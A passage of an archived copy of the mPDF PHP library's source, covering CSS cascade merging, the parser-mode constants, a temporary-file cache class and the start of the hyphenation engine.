'XX-LARGE'; } if ($s) { $p['FONT-SIZE'] = $s; } } } if (isset($attr['VALIGN']) && $attr['VALIGN'] != '') { $p['VERTICAL-ALIGN'] = $attr['VALIGN']; } if (isset($attr['VSPACE']) && $attr['VSPACE'] != '') { $p['MARGIN-TOP'] = $attr['VSPACE']; $p['MARGIN-BOTTOM'] = $attr['VSPACE']; } if (isset($attr['HSPACE']) && $attr['HSPACE'] != '') { $p['MARGIN-LEFT'] = $attr['HSPACE']; $p['MARGIN-RIGHT'] = $attr['HSPACE']; } //=============================================== //=============================================== // DEFAULT for this TAG set in DefaultCSS if (isset($this->mpdf->defaultCSS[$tag])) { $zp = $this->fixCSS($this->mpdf->defaultCSS[$tag]); if (is_array($zp)) { // Default overwrites Inherited $p = array_merge($p, $zp); // !! Note other way round !! $this->_mergeBorders($p, $zp); } } //=============================================== /* -- TABLES -- */ // mPDF 5.7.3 // cellSpacing overwrites TABLE default but not specific CSS set on table if ($tag === 'TABLE' && isset($attr['CELLSPACING'])) { $p['BORDER-SPACING-H'] = $p['BORDER-SPACING-V'] = $attr['CELLSPACING']; } // cellPadding overwrites TD/TH default but not specific CSS set on cell if (($tag === 'TD' || $tag === 'TH') && isset($this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['cell_padding']) && ($this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['cell_padding'] || $this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['cell_padding'] === '0')) { // mPDF 5.7.3 $p['PADDING-LEFT'] = $this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['cell_padding']; $p['PADDING-RIGHT'] = $this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['cell_padding']; $p['PADDING-TOP'] = $this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['cell_padding']; $p['PADDING-BOTTOM'] = $this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['cell_padding']; } /* -- END TABLES -- */ //=============================================== // STYLESHEET TAG e.g. h1 p div table if (isset($this->CSS[$tag]) && $this->CSS[$tag]) { $zp = $this->CSS[$tag]; if ($tag === 'TD' || $tag === 'TH') { $this->setBorderDominance($zp, 9); } // *TABLES* // *TABLES-ADVANCED-BORDERS* if (is_array($zp)) { $p = array_merge($p, $zp); $this->_mergeBorders($p, $zp); } } //=============================================== // STYLESHEET CLASS e.g. .smallone{} .redletter{} foreach ($classes as $class) { $zp = []; if (isset($this->CSS['CLASS>>' . $class]) && $this->CSS['CLASS>>' . $class]) { $zp = $this->CSS['CLASS>>' . $class]; } if ($tag === 'TD' || $tag === 'TH') { $this->setBorderDominance($zp, 9); } // *TABLES* // *TABLES-ADVANCED-BORDERS* if (is_array($zp)) { $p = array_merge($p, $zp); $this->_mergeBorders($p, $zp); } } //=============================================== /* -- TABLES -- */ // STYLESHEET nth-child SELECTOR e.g. tr:nth-child(odd) td:nth-child(2n+1) if ($tag === 'TR' || $tag === 'TD' || $tag === 'TH') { foreach ($this->CSS as $k => $val) { if (preg_match('/' . $tag . '>>SELECTORNTHCHILD>>(.*)/', $k, $m)) { $select = false; if ($tag === 'TR') { $row = $this->mpdf->row; $thnr = (isset($this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['is_thead']) ? count($this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['is_thead']) : 0); $tfnr = (isset($this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['is_tfoot']) ? count($this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['is_tfoot']) : 0); if ($this->mpdf->tabletfoot) { $row -= $thnr; } elseif (!$this->mpdf->tablethead) { $row -= ($thnr + $tfnr); } if (preg_match('/(([\-+]?\d*)?N([\-+]\d+)?|[\-+]?\d+|ODD|EVEN)/', $m[1], $a)) { // mPDF 5.7.4 $select = $this->_nthchild($a, $row); } } elseif ($tag === 'TD' || $tag === 'TH') { if (preg_match('/(([\-+]?\d*)?N([\-+]\d+)?|[\-+]?\d+|ODD|EVEN)/', $m[1], $a)) { // mPDF 5.7.4 $select = $this->_nthchild($a, $this->mpdf->col); } } if ($select) { $zp = $this->CSS[$tag . '>>SELECTORNTHCHILD>>' . $m[1]]; if ($tag === 'TD' || $tag === 'TH') { $this->setBorderDominance($zp, 9); } if (is_array($zp)) { $p = array_merge($p, $zp); $this->_mergeBorders($p, $zp); } } } } } /* -- END TABLES -- */ //=============================================== // STYLESHEET LANG e.g. [lang=fr]{} or :lang(fr) if (isset($attr['LANG'])) { if (isset($this->CSS['LANG>>' . $attr['LANG']]) && $this->CSS['LANG>>' . $attr['LANG']]) { $zp = $this->CSS['LANG>>' . $attr['LANG']]; if ($tag === 'TD' || $tag === 'TH') { $this->setBorderDominance($zp, 9); } // *TABLES* // *TABLES-ADVANCED-BORDERS* if (is_array($zp)) { $p = array_merge($p, $zp); $this->_mergeBorders($p, $zp); } } elseif (isset($this->CSS['LANG>>' . $shortlang]) && $this->CSS['LANG>>' . $shortlang]) { $zp = $this->CSS['LANG>>' . $shortlang]; if ($tag === 'TD' || $tag === 'TH') { $this->setBorderDominance($zp, 9); } // *TABLES* // *TABLES-ADVANCED-BORDERS* if (is_array($zp)) { $p = array_merge($p, $zp); $this->_mergeBorders($p, $zp); } } } //=============================================== // STYLESHEET ID e.g. #smallone{} #redletter{} if (isset($attr['ID']) && isset($this->CSS['ID>>' . $attr['ID']]) && $this->CSS['ID>>' . $attr['ID']]) { $zp = $this->CSS['ID>>' . $attr['ID']]; if ($tag === 'TD' || $tag === 'TH') { $this->setBorderDominance($zp, 9); } // *TABLES* // *TABLES-ADVANCED-BORDERS* if (is_array($zp)) { $p = array_merge($p, $zp); $this->_mergeBorders($p, $zp); } } //=============================================== // STYLESHEET CLASS e.g. p.smallone{} div.redletter{} foreach ($classes as $class) { $zp = []; if (isset($this->CSS[$tag . '>>CLASS>>' . $class]) && $this->CSS[$tag . '>>CLASS>>' . $class]) { $zp = $this->CSS[$tag . '>>CLASS>>' . $class]; } if ($tag === 'TD' || $tag === 'TH') { $this->setBorderDominance($zp, 9); } // *TABLES* // *TABLES-ADVANCED-BORDERS* if (is_array($zp)) { $p = array_merge($p, $zp); $this->_mergeBorders($p, $zp); } } //=============================================== // STYLESHEET LANG e.g. [lang=fr]{} or :lang(fr) if (isset($attr['LANG'])) { if (isset($this->CSS[$tag . '>>LANG>>' . $attr['LANG']]) && $this->CSS[$tag . '>>LANG>>' . $attr['LANG']]) { $zp = $this->CSS[$tag . '>>LANG>>' . $attr['LANG']]; if ($tag === 'TD' || $tag === 'TH') { $this->setBorderDominance($zp, 9); } // *TABLES* // *TABLES-ADVANCED-BORDERS* if (is_array($zp)) { $p = array_merge($p, $zp); $this->_mergeBorders($p, $zp); } } elseif (isset($this->CSS[$tag . '>>LANG>>' . $shortlang]) && $this->CSS[$tag . '>>LANG>>' . $shortlang]) { $zp = $this->CSS[$tag . '>>LANG>>' . $shortlang]; if ($tag === 'TD' || $tag === 'TH') { $this->setBorderDominance($zp, 9); } // *TABLES* // *TABLES-ADVANCED-BORDERS* if (is_array($zp)) { $p = array_merge($p, $zp); $this->_mergeBorders($p, $zp); } } } //=============================================== // STYLESHEET CLASS e.g. p#smallone{} div#redletter{} if (isset($attr['ID']) && isset($this->CSS[$tag . '>>ID>>' . $attr['ID']]) && $this->CSS[$tag . '>>ID>>' . $attr['ID']]) { $zp = $this->CSS[$tag . '>>ID>>' . $attr['ID']]; if ($tag === 'TD' || $tag === 'TH') { $this->setBorderDominance($zp, 9); } // *TABLES* // *TABLES-ADVANCED-BORDERS* if (is_array($zp)) { $p = array_merge($p, $zp); $this->_mergeBorders($p, $zp); } } //=============================================== // Cascaded e.g. div.class p only works for block level if ($inherit === 'BLOCK') { if (isset($this->mpdf->blk[$this->mpdf->blklvl - 1])) { // mPDF 6 $this->_set_mergedCSS($this->mpdf->blk[$this->mpdf->blklvl - 1]['cascadeCSS'][$tag], $p); foreach ($classes as $class) { $this->_set_mergedCSS($this->mpdf->blk[$this->mpdf->blklvl - 1]['cascadeCSS']['CLASS>>' . $class], $p); } $this->_set_mergedCSS($this->mpdf->blk[$this->mpdf->blklvl - 1]['cascadeCSS']['ID>>' . $attr['ID']], $p); foreach ($classes as $class) { $this->_set_mergedCSS($this->mpdf->blk[$this->mpdf->blklvl - 1]['cascadeCSS'][$tag . '>>CLASS>>' . $class], $p); } $this->_set_mergedCSS($this->mpdf->blk[$this->mpdf->blklvl - 1]['cascadeCSS'][$tag . '>>ID>>' . $attr['ID']], $p); } } elseif ($inherit === 'INLINE') { $this->_set_mergedCSS($this->mpdf->blk[$this->mpdf->blklvl]['cascadeCSS'][$tag], $p); foreach ($classes as $class) { $this->_set_mergedCSS($this->mpdf->blk[$this->mpdf->blklvl]['cascadeCSS']['CLASS>>' . $class], $p); } $this->_set_mergedCSS($this->mpdf->blk[$this->mpdf->blklvl]['cascadeCSS']['ID>>' . $attr['ID']], $p); foreach ($classes as $class) { $this->_set_mergedCSS($this->mpdf->blk[$this->mpdf->blklvl]['cascadeCSS'][$tag . '>>CLASS>>' . $class], $p); } $this->_set_mergedCSS($this->mpdf->blk[$this->mpdf->blklvl]['cascadeCSS'][$tag . '>>ID>>' . $attr['ID']], $p); } elseif ($inherit === 'TOPTABLE' || $inherit === 'TABLE') { // NB looks at $this->tablecascadeCSS-1 for cascading CSS if (isset($this->tablecascadeCSS[$this->tbCSSlvl - 1])) { // mPDF 6 // false, 9 = don't check for 'depth' and do set border dominance $this->_set_mergedCSS($this->tablecascadeCSS[$this->tbCSSlvl - 1][$tag], $p, false, 9); foreach ($classes as $class) { $this->_set_mergedCSS($this->tablecascadeCSS[$this->tbCSSlvl - 1]['CLASS>>' . $class], $p, false, 9); } // STYLESHEET nth-child SELECTOR e.g. tr:nth-child(odd) td:nth-child(2n+1) if ($tag === 'TR' || $tag === 'TD' || $tag === 'TH') { foreach ($this->tablecascadeCSS[$this->tbCSSlvl - 1] as $k => $val) { if (preg_match('/' . $tag . '>>SELECTORNTHCHILD>>(.*)/', $k, $m)) { $select = false; if ($tag === 'TR') { $row = $this->mpdf->row; $thnr = (isset($this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['is_thead']) ? count($this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['is_thead']) : 0); $tfnr = (isset($this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['is_tfoot']) ? count($this->mpdf->table[$this->mpdf->tableLevel][$this->mpdf->tbctr[$this->mpdf->tableLevel]]['is_tfoot']) : 0); if ($this->mpdf->tabletfoot) { $row -= $thnr; } elseif (!$this->mpdf->tablethead) { $row -= ($thnr + $tfnr); } if (preg_match('/(([\-+]?\d*)?N([\-+]\d+)?|[\-+]?\d+|ODD|EVEN)/', $m[1], $a)) { // mPDF 5.7.4 $select = $this->_nthchild($a, $row); } } elseif ($tag === 'TD' || $tag === 'TH') { if (preg_match('/(([\-+]?\d*)?N([\-+]\d+)?|[\-+]?\d+|ODD|EVEN)/', $m[1], $a)) { // mPDF 5.7.4 $select = $this->_nthchild($a, $this->mpdf->col); } } if ($select) { $this->_set_mergedCSS($this->tablecascadeCSS[$this->tbCSSlvl - 1][$tag . '>>SELECTORNTHCHILD>>' . $m[1]], $p, false, 9); } } } } } $this->_set_mergedCSS($this->tablecascadeCSS[$this->tbCSSlvl - 1]['ID>>' . $attr['ID']], $p, false, 9); foreach ($classes as $class) { $this->_set_mergedCSS($this->tablecascadeCSS[$this->tbCSSlvl - 1][$tag . '>>CLASS>>' . $class], $p, false, 9); } $this->_set_mergedCSS($this->tablecascadeCSS[$this->tbCSSlvl - 1][$tag . '>>ID>>' . $attr['ID']], $p, false, 9); } // INLINE STYLE e.g. style="CSS:property" if (isset($attr['STYLE'])) { $zp = $this->readInlineCSS($attr['STYLE']); if ($tag === 'TD' || $tag === 'TH') { $this->setBorderDominance($zp, 9); } // *TABLES* // *TABLES-ADVANCED-BORDERS* if (is_array($zp)) { $p = array_merge($p, $zp); $this->_mergeBorders($p, $zp); } } return $p; } // Convert inline Properties back to CSS function inlinePropsToCSS($bilp, &$p) { if (isset($bilp['family']) && $bilp['family']) { $p['FONT-FAMILY'] = $bilp['family']; } if (isset($bilp['I']) && $bilp['I']) { $p['FONT-STYLE'] = 'italic'; } if (isset($bilp['sizePt']) && $bilp['sizePt']) { $p['FONT-SIZE'] = $bilp['sizePt'] . 'pt'; } if (isset($bilp['B']) && $bilp['B']) { $p['FONT-WEIGHT'] = 'bold'; } if (isset($bilp['colorarray']) && $bilp['colorarray']) { $cor = $bilp['colorarray']; $p['COLOR'] = $this->colorConverter->colAtoString($cor); } if (isset($bilp['lSpacingCSS']) && $bilp['lSpacingCSS']) { $p['LETTER-SPACING'] = $bilp['lSpacingCSS']; } if (isset($bilp['wSpacingCSS']) && $bilp['wSpacingCSS']) { $p['WORD-SPACING'] = $bilp['wSpacingCSS']; } if (isset($bilp['textparam']) && $bilp['textparam']) { if (isset($bilp['textparam']['hyphens'])) { if ($bilp['textparam']['hyphens'] == 2) { $p['HYPHENS'] = 'none'; } if ($bilp['textparam']['hyphens'] == 1) { $p['HYPHENS'] = 'auto'; } if ($bilp['textparam']['hyphens'] == 0) { $p['HYPHENS'] = 'manual'; } } if (isset($bilp['textparam']['outline-s']) && !$bilp['textparam']['outline-s']) { $p['TEXT-OUTLINE'] = 'none'; } if (isset($bilp['textparam']['outline-COLOR']) && $bilp['textparam']['outline-COLOR']) { $p['TEXT-OUTLINE-COLOR'] = $this->colorConverter->colAtoString($bilp['textparam']['outline-COLOR']); } if (isset($bilp['textparam']['outline-WIDTH']) && $bilp['textparam']['outline-WIDTH']) { $p['TEXT-OUTLINE-WIDTH'] = $bilp['textparam']['outline-WIDTH'] . 'mm'; } } if (isset($bilp['textvar']) && $bilp['textvar']) { // CSS says text-decoration is not inherited, but IE7 does?? if ($bilp['textvar'] & TextVars::FD_LINETHROUGH) { if ($bilp['textvar'] & TextVars::FD_UNDERLINE) { $p['TEXT-DECORATION'] = 'underline line-through'; } else { $p['TEXT-DECORATION'] = 'line-through'; } } elseif ($bilp['textvar'] & TextVars::FD_UNDERLINE) { $p['TEXT-DECORATION'] = 'underline'; } else { $p['TEXT-DECORATION'] = 'none'; } if ($bilp['textvar'] & TextVars::FA_SUPERSCRIPT) { $p['VERTICAL-ALIGN'] = 'super'; } elseif ($bilp['textvar'] & TextVars::FA_SUBSCRIPT) { $p['VERTICAL-ALIGN'] = 'sub'; } else { $p['VERTICAL-ALIGN'] = 'baseline'; } if ($bilp['textvar'] & TextVars::FT_CAPITALIZE) { $p['TEXT-TRANSFORM'] = 'capitalize'; } elseif ($bilp['textvar'] & TextVars::FT_UPPERCASE) { $p['TEXT-TRANSFORM'] = 'uppercase'; } elseif ($bilp['textvar'] & TextVars::FT_LOWERCASE) { $p['TEXT-TRANSFORM'] = 'lowercase'; } else { $p['TEXT-TRANSFORM'] = 'none'; } if ($bilp['textvar'] & TextVars::FC_KERNING) { $p['FONT-KERNING'] = 'normal'; } // ignore 'auto' as default already applied //if (isset($bilp[ 'OTLtags' ]) && $bilp[ 'OTLtags' ]['Plus'] contains 'kern' else { $p['FONT-KERNING'] = 'none'; } if ($bilp['textvar'] & TextVars::FA_SUPERSCRIPT) { $p['FONT-VARIANT-POSITION'] = 'super'; } //if (isset($bilp[ 'OTLtags' ]) && $bilp[ 'OTLtags' ]['Plus'] contains 'sups' / 'subs' elseif ($bilp['textvar'] & TextVars::FA_SUBSCRIPT) { $p['FONT-VARIANT-POSITION'] = 'sub'; } else { $p['FONT-VARIANT-POSITION'] = 'normal'; } if ($bilp['textvar'] & TextVars::FC_SMALLCAPS) { $p['FONT-VARIANT-CAPS'] = 'small-caps'; } } if (isset($bilp['fontLanguageOverride'])) { if ($bilp['fontLanguageOverride']) { $p['FONT-LANGUAGE-OVERRIDE'] = $bilp['fontLanguageOverride']; } else { $p['FONT-LANGUAGE-OVERRIDE'] = 'normal'; } } // All the variations of font-variant-* we are going to set as font-feature-settings... if (isset($bilp['OTLtags']) && $bilp['OTLtags']) { $ffs = []; if (isset($bilp['OTLtags']['Minus']) && $bilp['OTLtags']['Minus']) { $f = preg_split('/\s+/', trim($bilp['OTLtags']['Minus'])); foreach ($f as $ff) { $ffs[] = "'" . $ff . "' 0"; } } if (isset($bilp['OTLtags']['FFMinus']) && $bilp['OTLtags']['FFMinus']) { $f = preg_split('/\s+/', trim($bilp['OTLtags']['FFMinus'])); foreach ($f as $ff) { $ffs[] = "'" . $ff . "' 0"; } } if (isset($bilp['OTLtags']['Plus']) && $bilp['OTLtags']['Plus']) { $f = preg_split('/\s+/', trim($bilp['OTLtags']['Plus'])); foreach ($f as $ff) { $ffs[] = "'" . $ff . "' 1"; } } if (isset($bilp['OTLtags']['FFPlus']) && $bilp['OTLtags']['FFPlus']) { // May contain numeric value e.g. salt4 $f = preg_split('/\s+/', trim($bilp['OTLtags']['FFPlus'])); foreach ($f as $ff) { if (strlen($ff) > 4) { $ffs[] = "'" . substr($ff, 0, 4) . "' " . substr($ff, 4); } else { $ffs[] = "'" . $ff . "' 1"; } } } $p['FONT-FEATURE-SETTINGS'] = implode(', ', $ffs); } } function PreviewBlockCSS($tag, $attr) { // Looks ahead from current block level to a new level $p = []; $oldcascadeCSS = $this->mpdf->blk[$this->mpdf->blklvl]['cascadeCSS']; $classes = []; if (isset($attr['CLASS'])) { $classes = array_map(function ($combination) { return join('.', $combination); }, Arrays::allUniqueSortedCombinations(preg_split('/\s+/', $attr['CLASS']))); } //=============================================== // DEFAULT for this TAG set in DefaultCSS if (isset($this->mpdf->defaultCSS[$tag])) { $zp = $this->fixCSS($this->mpdf->defaultCSS[$tag]); if (is_array($zp)) { $p = array_merge($zp, $p); } // Inherited overwrites default } // STYLESHEET TAG e.g. h1 p div table if (isset($this->CSS[$tag])) { $zp = $this->CSS[$tag]; if (is_array($zp)) { $p = array_merge($p, $zp); } } // STYLESHEET CLASS e.g. .smallone{} .redletter{} foreach ($classes as $class) { $zp = []; if (isset($this->CSS['CLASS>>' . $class])) { $zp = $this->CSS['CLASS>>' . $class]; } if (is_array($zp)) { $p = array_merge($p, $zp); } } // STYLESHEET ID e.g. #smallone{} #redletter{} if (isset($attr['ID']) && isset($this->CSS['ID>>' . $attr['ID']])) { $zp = $this->CSS['ID>>' . $attr['ID']]; if (is_array($zp)) { $p = array_merge($p, $zp); } } // STYLESHEET CLASS e.g. p.smallone{} div.redletter{} foreach ($classes as $class) { $zp = []; if (isset($this->CSS[$tag . '>>CLASS>>' . $class])) { $zp = $this->CSS[$tag . '>>CLASS>>' . $class]; } if (is_array($zp)) { $p = array_merge($p, $zp); } } // STYLESHEET CLASS e.g. p#smallone{} div#redletter{} if (isset($attr['ID']) && isset($this->CSS[$tag . '>>ID>>' . $attr['ID']])) { $zp = $this->CSS[$tag . '>>ID>>' . $attr['ID']]; if (is_array($zp)) { $p = array_merge($p, $zp); } } //=============================================== // STYLESHEET TAG e.g. div h1 div p $this->_set_mergedCSS($oldcascadeCSS[$tag], $p); // STYLESHEET CLASS e.g. .smallone{} .redletter{} foreach ($classes as $class) { $this->_set_mergedCSS($oldcascadeCSS['CLASS>>' . $class], $p); } // STYLESHEET CLASS e.g. #smallone{} #redletter{} if (isset($attr['ID'])) { $this->_set_mergedCSS($oldcascadeCSS['ID>>' . $attr['ID']], $p); } // STYLESHEET CLASS e.g. div.smallone{} p.redletter{} foreach ($classes as $class) { $this->_set_mergedCSS($oldcascadeCSS[$tag . '>>CLASS>>' . $class], $p); } // STYLESHEET CLASS e.g. div#smallone{} p#redletter{} if (isset($attr['ID'])) { $this->_set_mergedCSS($oldcascadeCSS[$tag . '>>ID>>' . $attr['ID']], $p); } //=============================================== // INLINE STYLE e.g. style="CSS:property" if (isset($attr['STYLE'])) { $zp = $this->readInlineCSS($attr['STYLE']); if (is_array($zp)) { $p = array_merge($p, $zp); } } //=============================================== return $p; } // mPDF 5.7.4 nth-child function _nthchild($f, $c) { // $f is formula e.g. 2N+1 split into a preg_match array // $c is the comparator value e.g row or column number $c += 1; $select = false; $f_count = count($f); if ($f[0] === 'ODD') { $a = 2; $b = 1; } elseif ($f[0] === 'EVEN') { $a = 2; $b = 0; } elseif ($f_count === 2) { $a = 0; $b = $f[1] + 0; } // e.g. (+6) elseif ($f_count === 3) { // e.g. (2N) if ($f[2] == '') { $a = 1; } elseif ($f[2] == '-') { $a = -1; } else { $a = $f[2] + 0; } $b = 0; } elseif ($f_count === 4) { // e.g. (2N+6) if ($f[2] == '') { $a = 1; } elseif ($f[2] == '-') { $a = -1; } else { $a = $f[2] + 0; } $b = $f[3] + 0; } else { return false; } if ($a > 0) { if (((($c % $a) - $b) % $a) === 0 && $c >= $b) { $select = true; } } elseif ($a == 0) { if ($c == $b) { $select = true; } } else { // if ($a<0) if (((($c % $a) - $b) % $a) === 0 && $c <= $b) { $select = true; } } return $select; } private function getFileContents($path) { // If local file try using local path (? quicker, but also allowed even if allow_url_fopen false) $wrapperChecker = new StreamWrapperChecker($this->mpdf); if ($wrapperChecker->hasBlacklistedStreamWrapper($path)) { throw new \Mpdf\MpdfException('File contains an invalid stream. Only ' . implode(', ', $wrapperChecker->getWhitelistedStreamWrappers()) . ' streams are allowed.'); } // mPDF 5.7.3 if (strpos($path, '//') === false) { $path = preg_replace('/\.css\?.*$/', '.css', $path); } $contents = @file_get_contents($path); if ($contents) { return $contents; } if ($this->mpdf->basepathIsLocal) { $tr = parse_url($path); $lp = __FILE__; $ap = realpath($lp); $ap = str_replace("\\", '/', $ap); $docroot = substr($ap, 0, strpos($ap, $lp)); // WriteHTML parses all paths to full URLs; may be local file name // DOCUMENT_ROOT is not returned on IIS if (!empty($tr['scheme']) && $tr['host'] && !empty($_SERVER['DOCUMENT_ROOT'])) { $localpath = $_SERVER['DOCUMENT_ROOT'] . $tr['path']; } elseif ($docroot) { $localpath = $docroot . $tr['path']; } else { $localpath = $path; } $contents = @file_get_contents($localpath); } elseif (!$contents && !ini_get('allow_url_fopen') && function_exists('curl_init')) { // if not use full URL $ch = curl_init($path); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $contents = curl_exec($ch); curl_close($ch); } return $contents; } } ������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/HTMLParserMode.php�������������������������������������������������������������0000644�����������������00000001333�14760002214�0013737 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; class HTMLParserMode { /** * Parses a whole $html document */ const DEFAULT_MODE = 0; /** * Parses the $html as styles and stylesheets only */ const HEADER_CSS = 1; /** * Parses the $html as output elements only */ const HTML_BODY = 2; /** * (For internal use only - parses the $html code without writing to document) * * @internal */ const HTML_PARSE_NO_WRITE = 3; /** * (For internal use only - writes the $html code to a buffer) * * @internal */ const HTML_HEADER_BUFFER = 4; public static function getAllModes() { return [ self::DEFAULT_MODE, self::HEADER_CSS, self::HTML_BODY, self::HTML_PARSE_NO_WRITE, self::HTML_HEADER_BUFFER, ]; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/Cache.php����������������������������������������������������������������������0000644�����������������00000004017�14760002214�0012216 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; use DirectoryIterator; class Cache { private $basePath; private $cleanupInterval; public function __construct($basePath, $cleanupInterval = 3600) { if (!$this->createBasePath($basePath)) { throw new \Mpdf\MpdfException(sprintf('Temporary files directory "%s" is not writable', $basePath)); } $this->basePath = $basePath; $this->cleanupInterval = $cleanupInterval; } protected function createBasePath($basePath) { if (!file_exists($basePath)) { if (!$this->createBasePath(dirname($basePath))) { return false; } if (!$this->createDirectory($basePath)) { return false; } } if (!is_writable($basePath) || !is_dir($basePath)) { return false; } return true; } protected function createDirectory($basePath) { if (!mkdir($basePath)) { return false; } if (!chmod($basePath, 0777)) { return false; } return true; } public function tempFilename($filename) { return $this->getFilePath($filename); } public function has($filename) { return file_exists($this->getFilePath($filename)); } public function load($filename) { return file_get_contents($this->getFilePath($filename)); } public function write($filename, $data) { $path = $this->getFilePath($filename); file_put_contents($path, $data); return $path; } public function remove($filename) { return unlink($this->getFilePath($filename)); } public function clearOld() { $iterator = new DirectoryIterator($this->basePath); /** @var \DirectoryIterator $item */ foreach ($iterator as $item) { if (!$item->isDot() && $item->isFile() && !$this->isDotFile($item) && $this->isOld($item)) { unlink($item->getPathname()); } } } private function getFilePath($filename) { return $this->basePath . '/' . $filename; } private function isOld(DirectoryIterator $item) { return $item->getMTime() + $this->cleanupInterval < time(); } public function isDotFile(DirectoryIterator $item) { return substr($item->getFilename(), 0, 1) === '.'; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/Hyphenator.php�����������������������������������������������������������������0000644�����������������00000011537�14760002214�0013341 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; class Hyphenator { /** * @var \Mpdf\Mpdf */ private $mpdf; private $patterns; private $dictionary; private $words; private $loadedPatterns; /** * @var bool */ private $dictionaryLoaded; public function __construct(Mpdf $mpdf) { $this->mpdf = $mpdf; $this->dictionaryLoaded = false; $this->patterns = []; $this->dictionary = []; $this->words = []; } /** * @param string $word * @param int $currptr * * @return int */ public function hyphenateWord($word, $currptr) { // Do everything inside this function in utf-8 // Don't hyphenate web addresses if (preg_match('/^(http:|www\.)/', $word)) { return -1; } $ptr = -1; if (!$this->dictionaryLoaded) { $this->loadDictionary(); } if (!in_array($this->mpdf->SHYlang, $this->mpdf->SHYlanguages)) { return -1; } // If no pattern loaded or not the best one if (!$this->patternsLoaded()) { $this->loadPatterns(); } if ($this->mpdf->usingCoreFont) { $word = mb_convert_encoding($word, 'UTF-8', $this->mpdf->mb_enc); } $prepre = ''; $postpost = ''; $startpunctuation = "\xc2\xab\xc2\xbf\xe2\x80\x98\xe2\x80\x9b\xe2\x80\x9c\xe2\x80\x9f"; $endpunctuation = "\xe2\x80\x9e\xe2\x80\x9d\xe2\x80\x9a\xe2\x80\x99\xc2\xbb"; if (preg_match('/^(["\'' . $startpunctuation . '])+(.{' . $this->mpdf->SHYcharmin . ',})$/u', $word, $m)) { $prepre = $m[1]; $word = $m[2]; } if (preg_match('/^(.{' . $this->mpdf->SHYcharmin . ',})([\'\.,;:!?"' . $endpunctuation . ']+)$/u', $word, $m)) { $word = $m[1]; $postpost = $m[2]; } if (mb_strlen($word, 'UTF-8') < $this->mpdf->SHYcharmin) { return -1; } $success = false; $preprelen = mb_strlen($prepre); if (isset($this->words[mb_strtolower($word)])) { foreach ($this->words[mb_strtolower($word)] as $i) { if (($i + $preprelen) >= $currptr) { break; } $ptr = $i + $preprelen; $success = true; } } if (!$success) { $text_word = '_' . $word . '_'; $word_length = mb_strlen($text_word, 'UTF-8'); $text_word = mb_strtolower($text_word, 'UTF-8'); $hyphenated_word = []; $numbers = [ '0' => true, '1' => true, '2' => true, '3' => true, '4' => true, '5' => true, '6' => true, '7' => true, '8' => true, '9' => true ]; for ($position = 0; $position <= ($word_length - $this->mpdf->SHYcharmin); $position++) { $maxwins = min($word_length - $position, $this->mpdf->SHYcharmax); for ($win = $this->mpdf->SHYcharmin; $win <= $maxwins; $win++) { if (isset($this->patterns[mb_substr($text_word, $position, $win, 'UTF-8')])) { $pattern = $this->patterns[mb_substr($text_word, $position, $win, 'UTF-8')]; $digits = 1; $pattern_length = mb_strlen($pattern, 'UTF-8'); for ($i = 0; $i < $pattern_length; $i++) { $char = $pattern[$i]; if (isset($numbers[$char])) { $zero = $i === 0 ? $position - 1 : $position + $i - $digits; if (!isset($hyphenated_word[$zero]) || $hyphenated_word[$zero] !== $char) { $hyphenated_word[$zero] = $char; } $digits++; } } } } } for ($i = $this->mpdf->SHYleftmin; $i <= (mb_strlen($word, 'UTF-8') - $this->mpdf->SHYrightmin); $i++) { if (isset($hyphenated_word[$i]) && $hyphenated_word[$i] % 2 !== 0) { if (($i + $preprelen) > $currptr) { break; } $ptr = $i + $preprelen; } } } return $ptr; } private function patternsLoaded() { return !(count($this->patterns) < 1 || ($this->loadedPatterns && $this->loadedPatterns !== $this->mpdf->SHYlang)); } private function loadPatterns() { $patterns = require __DIR__ . '/../data/patterns/' . $this->mpdf->SHYlang . '.php'; $patterns = explode(' ', $patterns); $new_patterns = []; $patternCount = count($patterns); for ($i = 0; $i < $patternCount; $i++) { $value = $patterns[$i]; $new_patterns[preg_replace('/[0-9]/', '', $value)] = $value; } $this->patterns = $new_patterns; $this->loadedPatterns = $this->mpdf->SHYlang; } private function loadDictionary() { if (file_exists($this->mpdf->hyphenationDictionaryFile)) { $this->dictionary = file($this->mpdf->hyphenationDictionaryFile, FILE_SKIP_EMPTY_LINES); foreach ($this->dictionary as $entry) { $entry = 